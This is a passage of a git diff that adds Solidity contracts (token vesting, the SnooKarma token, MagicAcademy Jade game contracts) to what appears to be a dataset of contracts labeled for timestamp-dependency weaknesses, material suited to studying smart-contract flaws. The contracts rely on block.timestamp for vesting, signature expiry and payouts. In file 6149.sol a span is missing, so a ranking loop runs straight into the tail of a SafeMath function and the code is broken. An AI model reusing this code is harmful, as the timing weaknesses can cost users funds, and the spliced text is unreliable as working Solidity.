b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + + +pragma solidity ^0.4.23; + + + + + + + +contract TokenVesting is Ownable { + using SafeMath for uint256; + using SafeERC20 for ERC20Basic; + + event Released(uint256 amount); + event Revoked(); + + + address public beneficiary; + + uint256 public cliff; + uint256 public start; + uint256 public duration; + + bool public revocable; + + mapping (address => uint256) public released; + mapping (address => bool) public revoked; + + + constructor( + address _beneficiary, + uint256 _start, + uint256 _cliff, + uint256 _duration, + bool _revocable + ) + public + { + require(_beneficiary != address(0)); + require(_cliff <= _duration); + + beneficiary = _beneficiary; + revocable = _revocable; + duration = _duration; + cliff = _start.add(_cliff); + start = _start; + } + + + function release(ERC20Basic token) public { + uint256 unreleased = releasableAmount(token); + + require(unreleased > 0); + + released[token] = released[token].add(unreleased); + + token.safeTransfer(beneficiary, unreleased); + + emit Released(unreleased); + } + + + function revoke(ERC20Basic token) public onlyOwner { + require(revocable); + require(!revoked[token]); + + uint256 balance = token.balanceOf(this); + + uint256 unreleased = releasableAmount(token); + uint256 refund = balance.sub(unreleased); + + revoked[token] = true; + + token.safeTransfer(owner, refund); + + emit Revoked(); + } + + + function releasableAmount(ERC20Basic token) public view returns (uint256) { + return vestedAmount(token).sub(released[token]); + } + + + function vestedAmount(ERC20Basic token) public view returns (uint256) { + uint256 currentBalance = token.balanceOf(this); + uint256 totalBalance = currentBalance.add(released[token]); + + if (block.timestamp < cliff) { + return 0; + } else if (block.timestamp >= start.add(duration) || revoked[token]) { + return totalBalance; + } else { + return totalBalance.mul(block.timestamp.sub(start)).div(duration); + } + } +} + + + +contract InitialTokenDistribution is Ownable { + using SafeMath for uint256; + + ERC20 public token; + mapping (address => TokenVesting) public vested; + mapping (address => TokenTimelock) public timelocked; + mapping (address => uint256) public initiallyDistributed; + bool public initialDistributionDone = false; + + modifier onInitialDistribution() { + require(!initialDistributionDone); + _; + } + + constructor(ERC20 _token) public { + token = _token; + } + + + function initialDistribution() internal; + + + function totalTokensDistributed() public view returns (uint256); + + + function processInitialDistribution() onInitialDistribution onlyOwner public { + initialDistribution(); + initialDistributionDone = true; + } + + function initialTransfer(address to, uint256 amount) onInitialDistribution public { + require(to != address(0)); + initiallyDistributed[to] = amount; + token.transferFrom(msg.sender, to, amount); + } + + function vest(address to, uint256 amount, uint256 releaseStart, uint256 cliff, uint256 duration) onInitialDistribution public { + require(to != address(0)); + vested[to] = new TokenVesting(to, releaseStart, cliff, duration, false); + token.transferFrom(msg.sender, vested[to], amount); + } + + function lock(address to, uint256 amount, uint256 releaseTime) onInitialDistribution public { + require(to != address(0)); + timelocked[to] = new TokenTimelock(token, to, releaseTime); + token.transferFrom(msg.sender, address(timelocked[to]), amount); + } +} + + + + +contract DetailedERC20 is ERC20 { + string public name; + string public symbol; + uint8 public decimals; + + constructor(string _name, string _symbol, uint8 _decimals) public { + name = _name; + symbol = _symbol; + decimals = _decimals; + } +} + + + +contract BlockFollowInitialTokenDistribution is InitialTokenDistribution { + + + uint256 public reservedTokensFunctionality; + uint256 public reservedTokensTeam; + + address functionalityWallet; + address teamWallet; + + constructor( + DetailedERC20 _token, + address _functionalityWallet, + address _teamWallet + ) + public + InitialTokenDistribution(_token) + { + functionalityWallet = _functionalityWallet; + teamWallet = _teamWallet; + + uint8 decimals = _token.decimals(); + reservedTokensFunctionality = 80e6 * (10 ** uint256(decimals)); + reservedTokensTeam = 10e6 * (10 ** uint256(decimals)); + } + + function initialDistribution() internal { + initialTransfer(functionalityWallet, reservedTokensFunctionality); + initialTransfer(teamWallet, reservedTokensTeam); + } + + function totalTokensDistributed() public view returns (uint256) { + return reservedTokensFunctionality + reservedTokensTeam; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/613.sol b/smart_contract_dataset/timestamp dependency/613.sol new file mode 100644 index 0000000000000000000000000000000000000000..7da68771fea47623a2419ef5b523025ab3c53fa8 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/613.sol @@ -0,0 +1,172 @@ +pragma solidity 0.4.24; + + +contract SnooKarma { + + + address public oracle; + + + + address public maintainer; + + + address public owner; + + + + mapping(address => uint) public balanceOf; + mapping(address => mapping (address => uint)) public allowance; + string public constant symbol = "SNK"; + string public constant name = "SnooKarma"; + uint8 public constant decimals = 2; + uint public totalSupply = 0; + event Transfer(address indexed _from, address indexed _to, uint _value); + event Approval(address indexed _owner, address indexed _spender, uint _value); + + + event Redeem(string indexed username, address indexed addr, uint karma); + + + + mapping(string => uint) redeemedKarma; + + + constructor() public { + owner = msg.sender; + maintainer = msg.sender; + oracle = msg.sender; + } + + + + function transfer(address destination, uint amount) public returns (bool success) { + if (balanceOf[msg.sender] >= amount && + balanceOf[destination] + amount > balanceOf[destination]) { + balanceOf[msg.sender] -= amount; + balanceOf[destination] += amount; + emit Transfer(msg.sender, destination, amount); + return true; + } else { + return false; + } + } + + function transferFrom ( + address from, + address to, + uint amount + ) public returns (bool success) { + if (balanceOf[from] >= amount && + allowance[from][msg.sender] >= amount && + balanceOf[to] + amount > balanceOf[to]) + { + balanceOf[from] -= amount; + allowance[from][msg.sender] -= amount; + balanceOf[to] += amount; + emit Transfer(from, to, amount); + return true; + } else { + return false; + } + } + + function approve(address spender, uint amount) public returns (bool success) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + + + + function safeAdd(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + require(c >= a); + return c; + } + + + modifier onlyBy(address account) { + require(msg.sender == account); + _; + } + + + function transferOwnership(address newOwner) public onlyBy(owner) { + require(newOwner != address(0)); + owner = newOwner; + } + + + + function changeOracle(address newOracle) public onlyBy(owner) { + require(oracle != address(0) && newOracle != address(0)); + oracle = newOracle; + } + + + + function removeOracle() public onlyBy(owner) { + oracle = address(0); + } + + + function changeMaintainer(address newMaintainer) public onlyBy(owner) { + maintainer = newMaintainer; + } + + + + + function redeem(string username, uint karma, uint sigExp, uint8 sigV, bytes32 sigR, bytes32 sigS) public { + + require( + ecrecover( + keccak256(abi.encodePacked(this, username, karma, sigExp)), + sigV, sigR, sigS + ) == oracle + ); + + require(block.timestamp < sigExp); + + require(karma > redeemedKarma[username]); + + uint newUserKarma = karma - redeemedKarma[username]; + + balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender], newUserKarma); + + uint newMaintainerKarma = newUserKarma / 100; + + balanceOf[maintainer] = safeAdd(balanceOf[maintainer], newMaintainerKarma); + + totalSupply = safeAdd(totalSupply, safeAdd(newUserKarma, newMaintainerKarma)); + + redeemedKarma[username] = karma; + + emit Redeem(username, msg.sender, newUserKarma); + } + + + + function redeemedKarmaOf(string username) public view returns(uint) { + return redeemedKarma[username]; + } + + + function() public payable { } + + + function transferEthereum(uint amount, address destination) public onlyBy(maintainer) { + require(destination != address(0)); + destination.transfer(amount); + } + + + function transferTokens(address token, uint amount, address destination) public onlyBy(maintainer) { + require(destination != address(0)); + SnooKarma tokenContract = SnooKarma(token); + tokenContract.transfer(destination, amount); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6149.sol b/smart_contract_dataset/timestamp dependency/6149.sol new file mode 100644 index 0000000000000000000000000000000000000000..0f6869120341222c1e18c23ded65a5c90c4e0fcb --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6149.sol @@ -0,0 +1,735 @@ +pragma solidity ^0.4.18; + + + +contract Ownable { + address public owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } +} + +contract AccessAdmin is Ownable { + + + mapping (address => bool) adminContracts; + + + mapping (address => bool) actionContracts; + + function setAdminContract(address _addr, bool _useful) public onlyOwner { + require(_addr != address(0)); + adminContracts[_addr] = _useful; + } + + modifier onlyAdmin { + require(adminContracts[msg.sender]); + _; + } + + function setActionContract(address _actionAddr, bool _useful) public onlyAdmin { + actionContracts[_actionAddr] = _useful; + } + + modifier onlyAccess() { + require(actionContracts[msg.sender]); + _; + } +} + +interface ERC20 { + function totalSupply() public constant returns (uint); + function balanceOf(address tokenOwner) public constant returns (uint balance); + function allowance(address tokenOwner, address spender) public constant returns (uint remaining); + function transfer(address to, uint tokens) public returns (bool success); + function approve(address spender, uint tokens) public returns (bool success); + function transferFrom(address from, address to, uint tokens) public returns (bool success); + event Transfer(address indexed from, address indexed to, uint tokens); + event Approval(address indexed tokenOwner, address indexed spender, uint tokens); +} + +contract JadeCoin is ERC20, AccessAdmin { + using SafeMath for SafeMath; + string public constant name = "MAGICACADEMY JADE"; + string public constant symbol = "Jade"; + uint8 public constant decimals = 0; + uint256 public roughSupply; + uint256 public totalJadeProduction; + + uint256[] public totalJadeProductionSnapshots; + + uint256 public nextSnapshotTime; + uint256 public researchDivPercent = 10; + + + mapping(address => uint256) public jadeBalance; + mapping(address => mapping(uint8 => uint256)) public coinBalance; + mapping(uint8 => uint256) totalEtherPool; + + mapping(address => mapping(uint256 => uint256)) public jadeProductionSnapshots; + + mapping(address => mapping(uint256 => bool)) private jadeProductionZeroedSnapshots; + + mapping(address => uint256) public lastJadeSaveTime; + mapping(address => uint256) public lastJadeProductionUpdate; + mapping(address => uint256) private lastJadeResearchFundClaim; + + mapping(address => uint256) private lastJadeDepositFundClaim; + uint256[] private allocatedJadeResearchSnapshots; + + + mapping(address => mapping(address => uint256)) private allowed; + + event ReferalGain(address player, address referal, uint256 amount); + + + function JadeCoin() public { + } + + function() external payable { + totalEtherPool[1] += msg.value; + } + + + function tweakDailyDividends(uint256 newResearchPercent) external { + require(msg.sender == owner); + require(newResearchPercent > 0 && newResearchPercent <= 10); + + researchDivPercent = newResearchPercent; + } + + function totalSupply() public constant returns(uint256) { + return roughSupply; + } + + function balanceOf(address player) public constant returns(uint256) { + return SafeMath.add(jadeBalance[player],balanceOfUnclaimed(player)); + } + + + function balanceOfUnclaimed(address player) public constant returns (uint256) { + uint256 lSave = lastJadeSaveTime[player]; + if (lSave > 0 && lSave < block.timestamp) { + return SafeMath.mul(getJadeProduction(player),SafeMath.div(SafeMath.sub(block.timestamp,lSave),100)); + } + return 0; + } + + + function getJadeProduction(address player) public constant returns (uint256){ + return jadeProductionSnapshots[player][lastJadeProductionUpdate[player]]; + } + + + function getTotalJadeProduction() external view returns (uint256) { + return totalJadeProduction; + } + + function getlastJadeProductionUpdate(address player) public view returns (uint256) { + return lastJadeProductionUpdate[player]; + } + + function increasePlayersJadeProduction(address player, uint256 increase) public onlyAccess { + jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length] = SafeMath.add(getJadeProduction(player),increase); + lastJadeProductionUpdate[player] = allocatedJadeResearchSnapshots.length; + totalJadeProduction = SafeMath.add(totalJadeProduction,increase); + } + + + function reducePlayersJadeProduction(address player, uint256 decrease) public onlyAccess { + uint256 previousProduction = getJadeProduction(player); + uint256 newProduction = SafeMath.sub(previousProduction, decrease); + + if (newProduction == 0) { + jadeProductionZeroedSnapshots[player][allocatedJadeResearchSnapshots.length] = true; + delete jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length]; + } else { + jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length] = newProduction; + } + lastJadeProductionUpdate[player] = allocatedJadeResearchSnapshots.length; + totalJadeProduction = SafeMath.sub(totalJadeProduction,decrease); + } + + + function updatePlayersCoin(address player) internal { + uint256 coinGain = balanceOfUnclaimed(player); + lastJadeSaveTime[player] = block.timestamp; + roughSupply = SafeMath.add(roughSupply,coinGain); + jadeBalance[player] = SafeMath.add(jadeBalance[player],coinGain); + } + + + function updatePlayersCoinByOut(address player) external onlyAccess { + uint256 coinGain = balanceOfUnclaimed(player); + lastJadeSaveTime[player] = block.timestamp; + roughSupply = SafeMath.add(roughSupply,coinGain); + jadeBalance[player] = SafeMath.add(jadeBalance[player],coinGain); + } + + function transfer(address recipient, uint256 amount) public returns (bool) { + updatePlayersCoin(msg.sender); + require(amount <= jadeBalance[msg.sender]); + jadeBalance[msg.sender] = SafeMath.sub(jadeBalance[msg.sender],amount); + jadeBalance[recipient] = SafeMath.add(jadeBalance[recipient],amount); + + Transfer(msg.sender, recipient, amount); + return true; + } + + function transferFrom(address player, address recipient, uint256 amount) public returns (bool) { + updatePlayersCoin(player); + require(amount <= allowed[player][msg.sender] && amount <= jadeBalance[player]); + + jadeBalance[player] = SafeMath.sub(jadeBalance[player],amount); + jadeBalance[recipient] = SafeMath.add(jadeBalance[recipient],amount); + allowed[player][msg.sender] = SafeMath.sub(allowed[player][msg.sender],amount); + + Transfer(player, recipient, amount); + return true; + } + + function approve(address approvee, uint256 amount) public returns (bool) { + allowed[msg.sender][approvee] = amount; + Approval(msg.sender, approvee, amount); + return true; + } + + function allowance(address player, address approvee) public constant returns(uint256) { + return allowed[player][approvee]; + } + + + function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) public onlyAccess { + uint256 unclaimedJade = balanceOfUnclaimed(player); + + if (purchaseCost > unclaimedJade) { + uint256 jadeDecrease = SafeMath.sub(purchaseCost, unclaimedJade); + require(jadeBalance[player] >= jadeDecrease); + roughSupply = SafeMath.sub(roughSupply,jadeDecrease); + jadeBalance[player] = SafeMath.sub(jadeBalance[player],jadeDecrease); + } else { + uint256 jadeGain = SafeMath.sub(unclaimedJade,purchaseCost); + roughSupply = SafeMath.add(roughSupply,jadeGain); + jadeBalance[player] = SafeMath.add(jadeBalance[player],jadeGain); + } + + lastJadeSaveTime[player] = block.timestamp; + } + + function JadeCoinMining(address _addr, uint256 _amount) external onlyAdmin { + roughSupply = SafeMath.add(roughSupply,_amount); + jadeBalance[_addr] = SafeMath.add(jadeBalance[_addr],_amount); + } + + function setRoughSupply(uint256 iroughSupply) external onlyAccess { + roughSupply = SafeMath.add(roughSupply,iroughSupply); + } + + function coinBalanceOf(address player,uint8 itype) external constant returns(uint256) { + return coinBalance[player][itype]; + } + + function setJadeCoin(address player, uint256 coin, bool iflag) external onlyAccess { + if (iflag) { + jadeBalance[player] = SafeMath.add(jadeBalance[player],coin); + } else if (!iflag) { + jadeBalance[player] = SafeMath.sub(jadeBalance[player],coin); + } + } + + function setCoinBalance(address player, uint256 eth, uint8 itype, bool iflag) external onlyAccess { + if (iflag) { + coinBalance[player][itype] = SafeMath.add(coinBalance[player][itype],eth); + } else if (!iflag) { + coinBalance[player][itype] = SafeMath.sub(coinBalance[player][itype],eth); + } + } + + function setLastJadeSaveTime(address player) external onlyAccess { + lastJadeSaveTime[player] = block.timestamp; + } + + function setTotalEtherPool(uint256 inEth, uint8 itype, bool iflag) external onlyAccess { + if (iflag) { + totalEtherPool[itype] = SafeMath.add(totalEtherPool[itype],inEth); + } else if (!iflag) { + totalEtherPool[itype] = SafeMath.sub(totalEtherPool[itype],inEth); + } + } + + function getTotalEtherPool(uint8 itype) external view returns (uint256) { + return totalEtherPool[itype]; + } + + function setJadeCoinZero(address player) external onlyAccess { + jadeBalance[player]=0; + } + + function getNextSnapshotTime() external view returns(uint256) { + return nextSnapshotTime; + } + + + function viewUnclaimedResearchDividends() external constant returns (uint256, uint256, uint256) { + uint256 startSnapshot = lastJadeResearchFundClaim[msg.sender]; + uint256 latestSnapshot = allocatedJadeResearchSnapshots.length - 1; + + uint256 researchShare; + uint256 previousProduction = jadeProductionSnapshots[msg.sender][lastJadeResearchFundClaim[msg.sender] - 1]; + for (uint256 i = startSnapshot; i <= latestSnapshot; i++) { + + uint256 productionDuringSnapshot = jadeProductionSnapshots[msg.sender][i]; + bool soldAllProduction = jadeProductionZeroedSnapshots[msg.sender][i]; + if (productionDuringSnapshot == 0 && !soldAllProduction) { + productionDuringSnapshot = previousProduction; + } else { + previousProduction = productionDuringSnapshot; + } + + researchShare += (allocatedJadeResearchSnapshots[i] * productionDuringSnapshot) / totalJadeProductionSnapshots[i]; + } + return (researchShare, startSnapshot, latestSnapshot); + } + + function claimResearchDividends(address referer, uint256 startSnapshot, uint256 endSnapShot) external { + require(startSnapshot <= endSnapShot); + require(startSnapshot >= lastJadeResearchFundClaim[msg.sender]); + require(endSnapShot < allocatedJadeResearchSnapshots.length); + + uint256 researchShare; + uint256 previousProduction = jadeProductionSnapshots[msg.sender][lastJadeResearchFundClaim[msg.sender] - 1]; + for (uint256 i = startSnapshot; i <= endSnapShot; i++) { + + + uint256 productionDuringSnapshot = jadeProductionSnapshots[msg.sender][i]; + bool soldAllProduction = jadeProductionZeroedSnapshots[msg.sender][i]; + if (productionDuringSnapshot == 0 && !soldAllProduction) { + productionDuringSnapshot = previousProduction; + } else { + previousProduction = productionDuringSnapshot; + } + + researchShare += (allocatedJadeResearchSnapshots[i] * productionDuringSnapshot) / totalJadeProductionSnapshots[i]; + } + + + if (jadeProductionSnapshots[msg.sender][endSnapShot] == 0 && !jadeProductionZeroedSnapshots[msg.sender][endSnapShot] && previousProduction > 0) { + jadeProductionSnapshots[msg.sender][endSnapShot] = previousProduction; + } + + lastJadeResearchFundClaim[msg.sender] = endSnapShot + 1; + + uint256 referalDivs; + if (referer != address(0) && referer != msg.sender) { + referalDivs = researchShare / 100; + coinBalance[referer][1] += referalDivs; + ReferalGain(referer, msg.sender, referalDivs); + } + coinBalance[msg.sender][1] += SafeMath.sub(researchShare,referalDivs); + } + + + function snapshotDailyGooResearchFunding() external onlyAdmin { + uint256 todaysGooResearchFund = (totalEtherPool[1] * researchDivPercent) / 100; + totalEtherPool[1] -= todaysGooResearchFund; + + totalJadeProductionSnapshots.push(totalJadeProduction); + allocatedJadeResearchSnapshots.push(todaysGooResearchFund); + nextSnapshotTime = block.timestamp + 24 hours; + } +} + +interface GameConfigInterface { + function productionCardIdRange() external constant returns (uint256, uint256); + function battleCardIdRange() external constant returns (uint256, uint256); + function upgradeIdRange() external constant returns (uint256, uint256); + function unitCoinProduction(uint256 cardId) external constant returns (uint256); + function unitAttack(uint256 cardId) external constant returns (uint256); + function unitDefense(uint256 cardId) external constant returns (uint256); + function unitStealingCapacity(uint256 cardId) external constant returns (uint256); +} + +contract CardsBase is JadeCoin { + + function CardsBase() public { + setAdminContract(msg.sender,true); + setActionContract(msg.sender,true); + } + + struct Player { + address owneraddress; + } + + Player[] players; + bool gameStarted; + + GameConfigInterface public schema; + + + mapping(address => mapping(uint256 => uint256)) public unitsOwned; + mapping(address => mapping(uint256 => uint256)) public upgradesOwned; + + mapping(address => uint256) public uintsOwnerCount; + mapping(address=> mapping(uint256 => uint256)) public uintProduction; + + + mapping(address => mapping(uint256 => uint256)) public unitCoinProductionIncreases; + mapping(address => mapping(uint256 => uint256)) public unitCoinProductionMultiplier; + mapping(address => mapping(uint256 => uint256)) public unitAttackIncreases; + mapping(address => mapping(uint256 => uint256)) public unitAttackMultiplier; + mapping(address => mapping(uint256 => uint256)) public unitDefenseIncreases; + mapping(address => mapping(uint256 => uint256)) public unitDefenseMultiplier; + mapping(address => mapping(uint256 => uint256)) public unitJadeStealingIncreases; + mapping(address => mapping(uint256 => uint256)) public unitJadeStealingMultiplier; + mapping(address => mapping(uint256 => uint256)) private unitMaxCap; + + + function setConfigAddress(address _address) external onlyOwner { + schema = GameConfigInterface(_address); + } + + + function beginGame(uint256 firstDivsTime) external payable onlyOwner { + require(!gameStarted); + gameStarted = true; + nextSnapshotTime = firstDivsTime; + totalEtherPool[1] = msg.value; + } + + function endGame() external payable onlyOwner { + require(gameStarted); + gameStarted = false; + } + + function getGameStarted() external constant returns (bool) { + return gameStarted; + } + function AddPlayers(address _address) external onlyAccess { + Player memory _player= Player({ + owneraddress: _address + }); + players.push(_player); + } + + + + function getRanking() external view returns (address[], uint256[],uint256[]) { + uint256 len = players.length; + uint256[] memory arr = new uint256[](len); + address[] memory arr_addr = new address[](len); + uint256[] memory arr_def = new uint256[](len); + + uint counter =0; + for (uint k=0;k= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6272.sol b/smart_contract_dataset/timestamp dependency/6272.sol new file mode 100644 index 0000000000000000000000000000000000000000..91fb65cb25a3ebf7885377d33976e87173f063c5 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6272.sol @@ -0,0 +1,739 @@ +pragma solidity ^0.4.18; + + + +contract Ownable { + address public owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } +} + +contract AccessAdmin is Ownable { + + + mapping (address => bool) adminContracts; + + + mapping (address => bool) actionContracts; + + function setAdminContract(address _addr, bool _useful) public onlyOwner { + require(_addr != address(0)); + adminContracts[_addr] = _useful; + } + + modifier onlyAdmin { + require(adminContracts[msg.sender]); + _; + } + + function setActionContract(address _actionAddr, bool _useful) public onlyAdmin { + actionContracts[_actionAddr] = _useful; + } + + modifier onlyAccess() { + require(actionContracts[msg.sender]); + _; + } +} + +interface ERC20 { + function totalSupply() public constant returns (uint); + function balanceOf(address tokenOwner) public constant returns (uint balance); + function allowance(address tokenOwner, address spender) public constant returns (uint remaining); + function transfer(address to, uint tokens) public returns (bool success); + function approve(address spender, uint tokens) public returns (bool success); + function transferFrom(address from, address to, uint tokens) public returns (bool success); + event Transfer(address indexed from, address indexed to, uint tokens); + event Approval(address indexed tokenOwner, address indexed spender, uint tokens); +} + +contract JadeCoin is ERC20, AccessAdmin { + using SafeMath for SafeMath; + string public constant name = "MAGICACADEMY JADE"; + string public constant symbol = "Jade"; + uint8 public constant decimals = 0; + uint256 public roughSupply; + uint256 public totalJadeProduction; + + uint256[] public totalJadeProductionSnapshots; + + uint256 public nextSnapshotTime; + uint256 public researchDivPercent = 10; + + + mapping(address => uint256) public jadeBalance; + mapping(address => mapping(uint8 => uint256)) public coinBalance; + mapping(uint8 => uint256) totalEtherPool; + + mapping(address => mapping(uint256 => uint256)) public jadeProductionSnapshots; + + mapping(address => mapping(uint256 => bool)) private jadeProductionZeroedSnapshots; + + mapping(address => uint256) public lastJadeSaveTime; + mapping(address => uint256) public lastJadeProductionUpdate; + mapping(address => uint256) private lastJadeResearchFundClaim; + + mapping(address => uint256) private lastJadeDepositFundClaim; + uint256[] private allocatedJadeResearchSnapshots; + + + mapping(address => mapping(address => uint256)) private allowed; + + event ReferalGain(address player, address referal, uint256 amount); + + + function JadeCoin() public { + } + + function() external payable { + totalEtherPool[1] += msg.value; + } + + + function tweakDailyDividends(uint256 newResearchPercent) external { + require(msg.sender == owner); + require(newResearchPercent > 0 && newResearchPercent <= 10); + + researchDivPercent = newResearchPercent; + } + + function totalSupply() public constant returns(uint256) { + return roughSupply; + } + + function balanceOf(address player) public constant returns(uint256) { + return SafeMath.add(jadeBalance[player],balanceOfUnclaimed(player)); + } + + + function balanceOfUnclaimed(address player) public constant returns (uint256) { + uint256 lSave = lastJadeSaveTime[player]; + if (lSave > 0 && lSave < block.timestamp) { + return SafeMath.mul(getJadeProduction(player),SafeMath.div(SafeMath.sub(block.timestamp,lSave),10)); + } + return 0; + } + + + function getJadeProduction(address player) public constant returns (uint256){ + return jadeProductionSnapshots[player][lastJadeProductionUpdate[player]]; + } + + + function getTotalJadeProduction() external view returns (uint256) { + return totalJadeProduction; + } + + function getlastJadeProductionUpdate(address player) public view returns (uint256) { + return lastJadeProductionUpdate[player]; + } + + function increasePlayersJadeProduction(address player, uint256 increase) public onlyAccess { + jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length] = SafeMath.add(getJadeProduction(player),increase); + lastJadeProductionUpdate[player] = allocatedJadeResearchSnapshots.length; + totalJadeProduction = SafeMath.add(totalJadeProduction,increase); + } + + + function reducePlayersJadeProduction(address player, uint256 decrease) public onlyAccess { + uint256 previousProduction = getJadeProduction(player); + uint256 newProduction = SafeMath.sub(previousProduction, decrease); + + if (newProduction == 0) { + jadeProductionZeroedSnapshots[player][allocatedJadeResearchSnapshots.length] = true; + delete jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length]; + } else { + jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length] = newProduction; + } + lastJadeProductionUpdate[player] = allocatedJadeResearchSnapshots.length; + totalJadeProduction = SafeMath.sub(totalJadeProduction,decrease); + } + + + function updatePlayersCoin(address player) internal { + uint256 coinGain = balanceOfUnclaimed(player); + lastJadeSaveTime[player] = block.timestamp; + roughSupply = SafeMath.add(roughSupply,coinGain); + jadeBalance[player] = SafeMath.add(jadeBalance[player],coinGain); + } + + + function updatePlayersCoinByOut(address player) external onlyAccess { + uint256 coinGain = balanceOfUnclaimed(player); + lastJadeSaveTime[player] = block.timestamp; + roughSupply = SafeMath.add(roughSupply,coinGain); + jadeBalance[player] = SafeMath.add(jadeBalance[player],coinGain); + } + + function transfer(address recipient, uint256 amount) public returns (bool) { + updatePlayersCoin(msg.sender); + require(amount <= jadeBalance[msg.sender]); + jadeBalance[msg.sender] = SafeMath.sub(jadeBalance[msg.sender],amount); + jadeBalance[recipient] = SafeMath.add(jadeBalance[recipient],amount); + + Transfer(msg.sender, recipient, amount); + return true; + } + + function transferFrom(address player, address recipient, uint256 amount) public returns (bool) { + updatePlayersCoin(player); + require(amount <= allowed[player][msg.sender] && amount <= jadeBalance[player]); + + jadeBalance[player] = SafeMath.sub(jadeBalance[player],amount); + jadeBalance[recipient] = SafeMath.add(jadeBalance[recipient],amount); + allowed[player][msg.sender] = SafeMath.sub(allowed[player][msg.sender],amount); + + Transfer(player, recipient, amount); + return true; + } + + function approve(address approvee, uint256 amount) public returns (bool) { + allowed[msg.sender][approvee] = amount; + Approval(msg.sender, approvee, amount); + return true; + } + + function allowance(address player, address approvee) public constant returns(uint256) { + return allowed[player][approvee]; + } + + + function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) public onlyAccess { + uint256 unclaimedJade = balanceOfUnclaimed(player); + + if (purchaseCost > unclaimedJade) { + uint256 jadeDecrease = SafeMath.sub(purchaseCost, unclaimedJade); + require(jadeBalance[player] >= jadeDecrease); + roughSupply = SafeMath.sub(roughSupply,jadeDecrease); + jadeBalance[player] = SafeMath.sub(jadeBalance[player],jadeDecrease); + } else { + uint256 jadeGain = SafeMath.sub(unclaimedJade,purchaseCost); + roughSupply = SafeMath.add(roughSupply,jadeGain); + jadeBalance[player] = SafeMath.add(jadeBalance[player],jadeGain); + } + + lastJadeSaveTime[player] = block.timestamp; + } + + function JadeCoinMining(address _addr, uint256 _amount) external onlyAdmin { + roughSupply = SafeMath.add(roughSupply,_amount); + jadeBalance[_addr] = SafeMath.add(jadeBalance[_addr],_amount); + } + + function setRoughSupply(uint256 iroughSupply) external onlyAccess { + roughSupply = SafeMath.add(roughSupply,iroughSupply); + } + + function coinBalanceOf(address player,uint8 itype) external constant returns(uint256) { + return coinBalance[player][itype]; + } + + function setJadeCoin(address player, uint256 coin, bool iflag) external onlyAccess { + if (iflag) { + jadeBalance[player] = SafeMath.add(jadeBalance[player],coin); + } else if (!iflag) { + jadeBalance[player] = SafeMath.sub(jadeBalance[player],coin); + } + } + + function setCoinBalance(address player, uint256 eth, uint8 itype, bool iflag) external onlyAccess { + if (iflag) { + coinBalance[player][itype] = SafeMath.add(coinBalance[player][itype],eth); + } else if (!iflag) { + coinBalance[player][itype] = SafeMath.sub(coinBalance[player][itype],eth); + } + } + + function setLastJadeSaveTime(address player) external onlyAccess { + lastJadeSaveTime[player] = block.timestamp; + } + + function setTotalEtherPool(uint256 inEth, uint8 itype, bool iflag) external onlyAccess { + if (iflag) { + totalEtherPool[itype] = SafeMath.add(totalEtherPool[itype],inEth); + } else if (!iflag) { + totalEtherPool[itype] = SafeMath.sub(totalEtherPool[itype],inEth); + } + } + + function getTotalEtherPool(uint8 itype) external view returns (uint256) { + return totalEtherPool[itype]; + } + + function setJadeCoinZero(address player) external onlyAccess { + jadeBalance[player]=0; + } + + function getNextSnapshotTime() external view returns(uint256) { + return nextSnapshotTime; + } + + + function viewUnclaimedResearchDividends() external constant returns (uint256, uint256, uint256) { + uint256 startSnapshot = lastJadeResearchFundClaim[msg.sender]; + uint256 latestSnapshot = allocatedJadeResearchSnapshots.length - 1; + + uint256 researchShare; + uint256 previousProduction = jadeProductionSnapshots[msg.sender][lastJadeResearchFundClaim[msg.sender] - 1]; + for (uint256 i = startSnapshot; i <= latestSnapshot; i++) { + + uint256 productionDuringSnapshot = jadeProductionSnapshots[msg.sender][i]; + bool soldAllProduction = jadeProductionZeroedSnapshots[msg.sender][i]; + if (productionDuringSnapshot == 0 && !soldAllProduction) { + productionDuringSnapshot = previousProduction; + } else { + previousProduction = productionDuringSnapshot; + } + + researchShare += (allocatedJadeResearchSnapshots[i] * productionDuringSnapshot) / totalJadeProductionSnapshots[i]; + } + return (researchShare, startSnapshot, latestSnapshot); + } + + function 